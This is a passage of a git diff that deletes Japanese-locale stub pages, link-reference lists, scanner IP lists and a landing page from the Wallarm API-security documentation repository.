a/docs/ja/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md" diff --git a/docs/ja/admin-en/installation-guides/google-cloud/autoscaling-overview.md b/docs/ja/admin-en/installation-guides/google-cloud/autoscaling-overview.md deleted file mode 100644 index 90fe6efeb0..0000000000 --- a/docs/ja/admin-en/installation-guides/google-cloud/autoscaling-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/installation-guides/google-cloud/autoscaling-overview.md" diff --git a/docs/ja/admin-en/installation-guides/google-cloud/create-image.md b/docs/ja/admin-en/installation-guides/google-cloud/create-image.md deleted file mode 100644 index f5f922d177..0000000000 --- a/docs/ja/admin-en/installation-guides/google-cloud/create-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/installation-guides/google-cloud/create-image.md" diff --git a/docs/ja/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md b/docs/ja/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md deleted file mode 100644 index 50fed358c3..0000000000 --- a/docs/ja/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md" diff --git a/docs/ja/admin-en/installation-guides/google-cloud/creating-instance-template.md b/docs/ja/admin-en/installation-guides/google-cloud/creating-instance-template.md deleted file mode 100644 index 77a0fc16f8..0000000000 --- a/docs/ja/admin-en/installation-guides/google-cloud/creating-instance-template.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/installation-guides/google-cloud/creating-instance-template.md" diff --git a/docs/ja/admin-en/installation-guides/google-cloud/load-balancing-guide.md b/docs/ja/admin-en/installation-guides/google-cloud/load-balancing-guide.md deleted file mode 100644 index e7372718fb..0000000000 --- a/docs/ja/admin-en/installation-guides/google-cloud/load-balancing-guide.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/installation-guides/google-cloud/load-balancing-guide.md" diff --git a/docs/ja/admin-en/installation-kubernetes-en.md b/docs/ja/admin-en/installation-kubernetes-en.md deleted file mode 100644 index b825c8b0f5..0000000000 --- a/docs/ja/admin-en/installation-kubernetes-en.md +++ /dev/null @@ -1,17 +0,0 @@ -[ip-list-docs]: ../user-guides/ip-lists/overview.md -[deployment-platform-docs]: ../installation/supported-deployment-options.md -[nginx-ing-image]: ../images/waf-installation/kubernetes/nginx-ingress-controller.png -[nginx-ing-create-node-img]: ../images/user-guides/nodes/create-wallarm-node-name-specified.png -[application-docs]: ../user-guides/settings/applications.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[configure-nginx-ing-controller-docs]: configure-kubernetes-en.md -[controllerwallarmexistingsecret-docs]: configure-kubernetes-en.md#controllerwallarmexistingsecret -[best-practices-for-public-ip]: configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md -[best-practices-for-high-availability]: configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md -[best-practices-for-ingress-monitoring]: configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md -[node-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[chaining-doc]: chaining-wallarm-and-other-ingress-controllers.md -[api-spec-enforcement-docs]: ../api-specification-enforcement/overview.md - ---8<-- "latest-ja/admin-en/installation-kubernetes-en.md" \ No newline at end of file diff --git a/docs/ja/admin-en/installation-postanalytics-en.md b/docs/ja/admin-en/installation-postanalytics-en.md deleted file mode 100644 index d919aaddd6..0000000000 --- a/docs/ja/admin-en/installation-postanalytics-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/installation-postanalytics-en.md" \ No newline at end of file diff --git a/docs/ja/admin-en/managing/terraform-provider.md b/docs/ja/admin-en/managing/terraform-provider.md deleted file mode 100644 index d132f566f4..0000000000 --- a/docs/ja/admin-en/managing/terraform-provider.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/managing/terraform-provider.md" \ No newline at end of file diff --git a/docs/ja/admin-en/native-node-metrics.md b/docs/ja/admin-en/native-node-metrics.md deleted file mode 100644 index 89b6b6bc39..0000000000 --- a/docs/ja/admin-en/native-node-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/native-node-metrics.md" \ No newline at end of file diff --git a/docs/ja/admin-en/nginx-node-metrics.md b/docs/ja/admin-en/nginx-node-metrics.md deleted file mode 100644 index 4e8a3aff7a..0000000000 --- a/docs/ja/admin-en/nginx-node-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/nginx-node-metrics.md" \ No newline at end of file diff --git a/docs/ja/admin-en/operation/learn-incoming-request-number.md b/docs/ja/admin-en/operation/learn-incoming-request-number.md deleted file mode 100644 index 29107768f6..0000000000 --- a/docs/ja/admin-en/operation/learn-incoming-request-number.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/operation/learn-incoming-request-number.md" diff --git a/docs/ja/admin-en/scanner-addresses.md b/docs/ja/admin-en/scanner-addresses.md deleted file mode 100644 index 9afca0a55a..0000000000 --- a/docs/ja/admin-en/scanner-addresses.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/scanner-addresses.md" \ No newline at end of file diff --git a/docs/ja/admin-en/uat-checklist-en.md b/docs/ja/admin-en/uat-checklist-en.md deleted file mode 100644 index d5a390ff0e..0000000000 --- a/docs/ja/admin-en/uat-checklist-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/uat-checklist-en.md" \ No newline at end of file diff --git a/docs/ja/admin-en/using-proxy-or-balancer-en.md b/docs/ja/admin-en/using-proxy-or-balancer-en.md deleted file mode 100644 index f3c53de264..0000000000 --- a/docs/ja/admin-en/using-proxy-or-balancer-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/using-proxy-or-balancer-en.md" \ No newline at end of file diff --git a/docs/ja/admin-en/wcli-metrics.md b/docs/ja/admin-en/wcli-metrics.md deleted file mode 100644 index db93a2a56c..0000000000 --- a/docs/ja/admin-en/wcli-metrics.md +++ /dev/null @@ -1,15 +0,0 @@ -[AIO]: ../installation/nginx/all-in-one.md -[docker]: ../admin-en/installation-docker-en.md -[aws-ami]: ../installation/packages/aws-ami.md -[gcp]: ../installation/packages/gcp-machine-image.md -[IC]: ../admin-en/installation-kubernetes-en.md -[sidecar]: ../installation/kubernetes/sidecar-proxy/deployment.md -[sidecar-helm-chart]: ../installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md -[sidecar-deployment]: ../installation/kubernetes/sidecar-proxy/deployment.md -[sidecar-upgrade]: ../updating-migrating/sidecar-proxy.md -[ic-helm-chart]: ../admin-en/configure-kubernetes-en.md#controllerwallarmapifirewallmetrics -[ic-deployment]: ../admin-en/installation-kubernetes-en.md -[nginx-node-changelog]: ../updating-migrating/node-artifact-versions.md -[nginx-node-6.6.0]: ../updating-migrating/node-artifact-versions.md#660-2025-10-03 - ---8<-- "latest/admin-en/wcli-metrics.md" \ No newline at end of file diff --git a/docs/ja/admin-en/wstore-metrics.md b/docs/ja/admin-en/wstore-metrics.md deleted file mode 100644 index fffbc9c211..0000000000 --- a/docs/ja/admin-en/wstore-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/admin-en/wstore-metrics.md" diff --git a/docs/ja/agentic-ai/agentic-ai-protection.md b/docs/ja/agentic-ai/agentic-ai-protection.md deleted file mode 100644 index daa607a566..0000000000 --- a/docs/ja/agentic-ai/agentic-ai-protection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/agentic-ai/agentic-ai-protection.md" \ No newline at end of file diff --git a/docs/ja/agentic-ai/ai-payload-inspection.md b/docs/ja/agentic-ai/ai-payload-inspection.md deleted file mode 100644 index be89236f85..0000000000 --- a/docs/ja/agentic-ai/ai-payload-inspection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/agentic-ai/ai-payload-inspection.md" \ No newline at end of file diff --git a/docs/ja/api-abuse-prevention/exceptions.md b/docs/ja/api-abuse-prevention/exceptions.md deleted file mode 100644 index ca1da7dbaf..0000000000 --- a/docs/ja/api-abuse-prevention/exceptions.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-abuse-prevention/exceptions.md" \ No newline at end of file diff --git a/docs/ja/api-abuse-prevention/exploring-bots.md b/docs/ja/api-abuse-prevention/exploring-bots.md deleted file mode 100644 index e661eafd42..0000000000 --- a/docs/ja/api-abuse-prevention/exploring-bots.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-abuse-prevention/exploring-bots.md" \ No newline at end of file diff --git a/docs/ja/api-abuse-prevention/overview.md b/docs/ja/api-abuse-prevention/overview.md deleted file mode 100644 index 32322b44f7..0000000000 --- a/docs/ja/api-abuse-prevention/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-abuse-prevention/overview.md" \ No newline at end of file diff --git a/docs/ja/api-abuse-prevention/setup.md b/docs/ja/api-abuse-prevention/setup.md deleted file mode 100644 index 7a8ee02067..0000000000 --- a/docs/ja/api-abuse-prevention/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-abuse-prevention/setup.md" \ No newline at end of file diff --git a/docs/ja/api-attack-surface/api-surface.md b/docs/ja/api-attack-surface/api-surface.md deleted file mode 100644 index 63d12db556..0000000000 --- a/docs/ja/api-attack-surface/api-surface.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-attack-surface/api-surface.md" \ No newline at end of file diff --git a/docs/ja/api-attack-surface/overview.md b/docs/ja/api-attack-surface/overview.md deleted file mode 100644 index 4e19e0ed71..0000000000 --- a/docs/ja/api-attack-surface/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-attack-surface/overview.md" \ No newline at end of file diff --git a/docs/ja/api-attack-surface/security-issues.md b/docs/ja/api-attack-surface/security-issues.md deleted file mode 100644 index d1cc63f1d2..0000000000 --- a/docs/ja/api-attack-surface/security-issues.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-attack-surface/security-issues.md" \ No newline at end of file diff --git a/docs/ja/api-attack-surface/setup.md b/docs/ja/api-attack-surface/setup.md deleted file mode 100644 index a8b64b6c9f..0000000000 --- a/docs/ja/api-attack-surface/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-attack-surface/setup.md" \ No newline at end of file diff --git a/docs/ja/api-discovery/bola-protection.md b/docs/ja/api-discovery/bola-protection.md deleted file mode 100644 index edcaa0e391..0000000000 --- a/docs/ja/api-discovery/bola-protection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-discovery/bola-protection.md" \ No newline at end of file diff --git a/docs/ja/api-discovery/dashboard.md b/docs/ja/api-discovery/dashboard.md deleted file mode 100644 index 98e2545606..0000000000 --- a/docs/ja/api-discovery/dashboard.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ja/api-discovery/dashboard.md" \ No newline at end of file diff --git a/docs/ja/api-discovery/exploring.md b/docs/ja/api-discovery/exploring.md deleted file mode 100644 index 52773295c6..0000000000 --- a/docs/ja/api-discovery/exploring.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-discovery/exploring.md" \ No newline at end of file diff --git a/docs/ja/api-discovery/overview.md b/docs/ja/api-discovery/overview.md deleted file mode 100644 index edbd21cf7c..0000000000 --- a/docs/ja/api-discovery/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-discovery/overview.md" \ No newline at end of file diff --git a/docs/ja/api-discovery/risk-score.md b/docs/ja/api-discovery/risk-score.md deleted file mode 100644 index f2d6e5c11c..0000000000 --- a/docs/ja/api-discovery/risk-score.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-discovery/risk-score.md" \ No newline at end of file diff --git a/docs/ja/api-discovery/rogue-api.md b/docs/ja/api-discovery/rogue-api.md deleted file mode 100644 index b77b7e5411..0000000000 --- a/docs/ja/api-discovery/rogue-api.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-discovery/rogue-api.md" \ No newline at end of file diff --git a/docs/ja/api-discovery/sbf.md b/docs/ja/api-discovery/sbf.md deleted file mode 100644 index 070bb6321a..0000000000 --- a/docs/ja/api-discovery/sbf.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-discovery/sbf.md" \ No newline at end of file diff --git a/docs/ja/api-discovery/sensitive-data.md b/docs/ja/api-discovery/sensitive-data.md deleted file mode 100644 index 0fde8fe606..0000000000 --- a/docs/ja/api-discovery/sensitive-data.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-discovery/sensitive-data.md" \ No newline at end of file diff --git a/docs/ja/api-discovery/setup.md b/docs/ja/api-discovery/setup.md deleted file mode 100644 index 438a48e8c0..0000000000 --- a/docs/ja/api-discovery/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-discovery/setup.md" \ No newline at end of file diff --git a/docs/ja/api-discovery/track-changes.md b/docs/ja/api-discovery/track-changes.md deleted file mode 100644 index c32789cbf8..0000000000 --- a/docs/ja/api-discovery/track-changes.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-discovery/track-changes.md" \ No newline at end of file diff --git a/docs/ja/api-protection/business-logic-abuse-detection.md b/docs/ja/api-protection/business-logic-abuse-detection.md deleted file mode 100644 index a64fe8c80e..0000000000 --- a/docs/ja/api-protection/business-logic-abuse-detection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-protection/business-logic-abuse-detection.md" \ No newline at end of file diff --git a/docs/ja/api-protection/dos-protection.md b/docs/ja/api-protection/dos-protection.md deleted file mode 100644 index 111f23840f..0000000000 --- a/docs/ja/api-protection/dos-protection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-protection/dos-protection.md" \ No newline at end of file diff --git a/docs/ja/api-protection/enumeration-attack-protection.md b/docs/ja/api-protection/enumeration-attack-protection.md deleted file mode 100644 index af20084921..0000000000 --- a/docs/ja/api-protection/enumeration-attack-protection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-protection/enumeration-attack-protection.md" \ No newline at end of file diff --git a/docs/ja/api-protection/file-upload-restriction.md b/docs/ja/api-protection/file-upload-restriction.md deleted file mode 100644 index f7dd3dbebd..0000000000 --- a/docs/ja/api-protection/file-upload-restriction.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-protection/file-upload-restriction.md" \ No newline at end of file diff --git a/docs/ja/api-protection/graphql-rule.md b/docs/ja/api-protection/graphql-rule.md deleted file mode 100644 index 861bab2313..0000000000 --- a/docs/ja/api-protection/graphql-rule.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-protection/graphql-rule.md" \ No newline at end of file diff --git a/docs/ja/api-sessions/blocking.md b/docs/ja/api-sessions/blocking.md deleted file mode 100644 index 48093c0f3b..0000000000 --- a/docs/ja/api-sessions/blocking.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-sessions/blocking.md" \ No newline at end of file diff --git a/docs/ja/api-sessions/exploring.md b/docs/ja/api-sessions/exploring.md deleted file mode 100644 index 946935ee4f..0000000000 --- a/docs/ja/api-sessions/exploring.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-sessions/exploring.md" \ No newline at end of file diff --git a/docs/ja/api-sessions/overview.md b/docs/ja/api-sessions/overview.md deleted file mode 100644 index d39202066b..0000000000 --- a/docs/ja/api-sessions/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-sessions/overview.md" \ No newline at end of file diff --git a/docs/ja/api-sessions/setup.md b/docs/ja/api-sessions/setup.md deleted file mode 100644 index 7c6499c875..0000000000 --- a/docs/ja/api-sessions/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-sessions/setup.md" \ No newline at end of file diff --git a/docs/ja/api-specification-enforcement/overview.md b/docs/ja/api-specification-enforcement/overview.md deleted file mode 100644 index 74520771f1..0000000000 --- a/docs/ja/api-specification-enforcement/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-specification-enforcement/overview.md" \ No newline at end of file diff --git a/docs/ja/api-specification-enforcement/setup.md b/docs/ja/api-specification-enforcement/setup.md deleted file mode 100644 index ef6f4c22c5..0000000000 --- a/docs/ja/api-specification-enforcement/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-specification-enforcement/setup.md" \ No newline at end of file diff --git a/docs/ja/api-specification-enforcement/viewing-events.md b/docs/ja/api-specification-enforcement/viewing-events.md deleted file mode 100644 index 565de0c748..0000000000 --- a/docs/ja/api-specification-enforcement/viewing-events.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api-specification-enforcement/viewing-events.md" \ No newline at end of file diff --git a/docs/ja/api/overview.md b/docs/ja/api/overview.md deleted file mode 100644 index 552e809d1a..0000000000 --- a/docs/ja/api/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api/overview.md" \ No newline at end of file diff --git a/docs/ja/api/request-examples.md b/docs/ja/api/request-examples.md deleted file mode 100644 index d0179b82cc..0000000000 --- a/docs/ja/api/request-examples.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/api/request-examples.md" \ No newline at end of file diff --git a/docs/ja/attacks-vulns-list.md b/docs/ja/attacks-vulns-list.md deleted file mode 100644 index 7ed271a3ad..0000000000 --- a/docs/ja/attacks-vulns-list.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/attacks-vulns-list.md" \ No newline at end of file diff --git a/docs/ja/demo-videos/api-abuse-prevention.md b/docs/ja/demo-videos/api-abuse-prevention.md deleted file mode 100644 index c24b64575b..0000000000 --- a/docs/ja/demo-videos/api-abuse-prevention.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/demo-videos/api-abuse-prevention.md" \ No newline at end of file diff --git a/docs/ja/demo-videos/api-discovery.md b/docs/ja/demo-videos/api-discovery.md deleted file mode 100644 index 4975ad1c40..0000000000 --- a/docs/ja/demo-videos/api-discovery.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ja/demo-videos/api-discovery.md" \ No newline at end of file diff --git a/docs/ja/demo-videos/api-leaks.md b/docs/ja/demo-videos/api-leaks.md deleted file mode 100644 index 3a6a8b602e..0000000000 --- a/docs/ja/demo-videos/api-leaks.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/demo-videos/api-leaks.md" \ No newline at end of file diff --git a/docs/ja/demo-videos/events-inspection.md b/docs/ja/demo-videos/events-inspection.md deleted file mode 100644 index de12444da9..0000000000 --- a/docs/ja/demo-videos/events-inspection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/demo-videos/events-inspection.md" \ No newline at end of file diff --git a/docs/ja/demo-videos/overview.md b/docs/ja/demo-videos/overview.md deleted file mode 100644 index 4d09a52f15..0000000000 --- a/docs/ja/demo-videos/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/demo-videos/overview.md" \ No newline at end of file diff --git a/docs/ja/demo-videos/shadow-api.md b/docs/ja/demo-videos/shadow-api.md deleted file mode 100644 index 6361133b3b..0000000000 --- a/docs/ja/demo-videos/shadow-api.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/demo-videos/shadow-api.md" \ No newline at end of file diff --git a/docs/ja/downloads/scanner-ip-addresses-eu.txt b/docs/ja/downloads/scanner-ip-addresses-eu.txt deleted file mode 100644 index 0045c334e0..0000000000 --- a/docs/ja/downloads/scanner-ip-addresses-eu.txt +++ /dev/null @@ -1,16 +0,0 @@ -213.52.130.153 -213.52.130.179 -213.52.130.185 -213.52.130.198 -176.58.99.214 -212.71.244.128 -212.71.244.92 -178.79.168.193 -178.79.168.239 -178.79.168.200 -178.79.168.201 -178.79.168.241 -178.79.168.186 -85.159.208.25 -139.162.220.5 -212.71.252.245 \ No newline at end of file diff --git a/docs/ja/downloads/scanner-ip-addresses-us.txt b/docs/ja/downloads/scanner-ip-addresses-us.txt deleted file mode 100644 index 735300b85d..0000000000 --- a/docs/ja/downloads/scanner-ip-addresses-us.txt +++ /dev/null @@ -1,34 +0,0 @@ -192.155.80.80 -192.155.80.95 -23.239.21.160 -50.116.14.31 -139.162.137.47 -192.155.81.166 -192.155.81.173 -192.155.81.185 -192.155.81.193 -192.155.81.195 -192.155.81.201 -192.155.81.204 -192.155.81.205 -192.155.81.210 -192.155.81.220 -192.155.81.32 -192.155.81.39 -192.155.81.62 -192.155.81.97 -23.239.21.250 -45.33.63.36 -45.79.100.119 -45.79.100.174 -45.79.100.81 -45.79.73.64 -45.79.74.89 -50.116.12.25 -50.116.2.193 -50.116.2.228 -74.207.253.161 -74.207.253.65 -173.230.150.9 -173.230.150.13 -173.230.150.14 \ No newline at end of file diff --git a/docs/ja/faq/common-errors-after-installation.md b/docs/ja/faq/common-errors-after-installation.md deleted file mode 100644 index 91152b54cf..0000000000 --- a/docs/ja/faq/common-errors-after-installation.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/faq/common-errors-after-installation.md" \ No newline at end of file diff --git a/docs/ja/faq/ingress-installation.md b/docs/ja/faq/ingress-installation.md deleted file mode 100644 index 469ee6f798..0000000000 --- a/docs/ja/faq/ingress-installation.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/faq/ingress-installation.md" \ No newline at end of file diff --git a/docs/ja/faq/node-issues-on-owasp-dashboards.md b/docs/ja/faq/node-issues-on-owasp-dashboards.md deleted file mode 100644 index 298a3652e1..0000000000 --- a/docs/ja/faq/node-issues-on-owasp-dashboards.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/faq/node-issues-on-owasp-dashboards.md" \ No newline at end of file diff --git a/docs/ja/faq/wallarm-cloud-down.md b/docs/ja/faq/wallarm-cloud-down.md deleted file mode 100644 index 4c9df81de5..0000000000 --- a/docs/ja/faq/wallarm-cloud-down.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/faq/wallarm-cloud-down.md" \ No newline at end of file diff --git a/docs/ja/glossary-en.md b/docs/ja/glossary-en.md deleted file mode 100644 index 5ead0cb5c3..0000000000 --- a/docs/ja/glossary-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/glossary-en.md" \ No newline at end of file diff --git a/docs/ja/index.md b/docs/ja/index.md deleted file mode 100644 index be088a9c4e..0000000000 --- a/docs/ja/index.md +++ /dev/null @@ -1,856 +0,0 @@ ---- -hide: - - navigation - - toc - - feedback ---- - -# Wallarm ドキュメント - -API、MCP、AI エージェントを発見し、脅威から保護し、脆弱性をテストするために必要なすべての情報。 - -
- -
- -
- - -
-
-

はじめに →

-

Wallarm プラットフォームで基本を学びましょう。

-

-
-
- - -
- -
-

API ディスカバリ →

-

API/MCP/エージェント、リスク、機密データフローをすべてカタログ化。

-

-
- -
-

API 保護 →

-

インテリジェントな脅威検出で攻撃、ボット、悪用をリアルタイムにブロック。

-

-
- -
-

API セキュリティテスト →

-

自動セキュリティテストで攻撃者より先に脆弱性を発見。

-

-
- -
-

AI セキュリティ →

-

AI エージェントと MCP を発見し保護。

-

-
- -
- - -
- -
-

デプロイ →

-

マネージド、セルフホスト、コネクタベースで Wallarm をデプロイ。

-

-
- -
-

連携 →

-

既存のセキュリティツール、SIEM、アラートシステムと Wallarm を接続。

-

-
- -
-

プラットフォーム管理 →

-

脅威の監視、アラート設定、アクセスとインフラの管理。

-

-
- -
- - -
-
-
-
WALLARM は初めてですか？
-

5分で全体の仕組みをご覧ください

- 概要動画を見る -
-
- -
- -
-
- -
-
-
- - - - diff --git a/docs/ja/installation/cloud-platforms/alibaba-cloud/docker-container.md b/docs/ja/installation/cloud-platforms/alibaba-cloud/docker-container.md deleted file mode 100644 index 9e18f79ce3..0000000000 --- a/docs/ja/installation/cloud-platforms/alibaba-cloud/docker-container.md +++ /dev/null @@ -1,24 +0,0 @@ -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[copy-container-ip-alibaba-img]: ../../../images/waf-installation/alibaba-cloud/container-copy-ip.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[logging-docs]: ../../../admin-en/configure-logging.md -[api-policy-enf-docs]: ../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[what-is-new-wstore]: ../../../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics -[link-docs-check-operation]: ../../../admin-en/uat-checklist-en.md - ---8<-- "latest-ja/installation/cloud-platforms/alibaba-cloud/docker-container.md" \ No newline at end of file diff --git a/docs/ja/installation/cloud-platforms/aws/ami.md b/docs/ja/installation/cloud-platforms/aws/ami.md deleted file mode 100644 index dab34db6b0..0000000000 --- a/docs/ja/installation/cloud-platforms/aws/ami.md +++ /dev/null @@ -1,40 +0,0 @@ -[link-ssh-keys]: https://docs.aws.amazon.com/AWSEC2/latest-ja/UserGuide/get-set-up-for-amazon-ec2.html#create-a-key-pair -[link-sg]: https://docs.aws.amazon.com/en_us/AWSEC2/latest-ja/UserGuide/get-set-up-for-amazon-ec2.html#create-a-base-security-group -[link-launch-instance]: https://docs.aws.amazon.com/AWSEC2/latest-ja/UserGuide/EC2_GetStarted.html#ec2-launch-instance -[anchor1]: #2-create-a-security-group -[anchor2]: #1-create-a-pair-of-ssh-keys-in-aws -[img-create-sg]: ../../../images/installation-ami/common/create_sg.png -[versioning-policy]: ../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../admin-en/configure-logging.md -[wallarm-mode]: ../../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../../images/user-guides/nodes/grouped-nodes.png -[cloud-init-spec]: ../../cloud-platforms/cloud-init.md -[wallarm_force_directive]: ../../../admin-en/configure-parameters-en.md#wallarm_force -[ip-lists-docs]: ../../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../../api-specification-enforcement/overview.md -[inline-docs]: ../../inline/overview.md -[link-wallarm-health-check]: ../../../admin-en/uat-checklist-en.md -[aws-ami-traffic-flow]: ../../../images/waf-installation/aws/aws-ami-flow.png -[img-security-group]: ../../../images/aws-ami/security-group.png -[latest-node-version]: ../../../updating-migrating/node-artifact-versions.md#amazon-machine-image-ami -[aws-costs]: ../../../installation/cloud-platforms/aws/costs.md -[nginx-native-node]: ../../../installation/nginx-native-node-internals.md -[wallarm-logs]: ../../../admin-en/configure-logging.md -[log-level]: ../../../installation/native-node/all-in-one-conf.md#loglevel - ---8<-- "latest-ja/installation/inline/compute-instances/aws/aws-ami.md" \ No newline at end of file diff --git a/docs/ja/installation/cloud-platforms/aws/aws-waf-integration.md b/docs/ja/installation/cloud-platforms/aws/aws-waf-integration.md deleted file mode 100644 index 5e527b72d2..0000000000 --- a/docs/ja/installation/cloud-platforms/aws/aws-waf-integration.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/installation/cloud-platforms/aws/aws-waf-integration.md" \ No newline at end of file diff --git 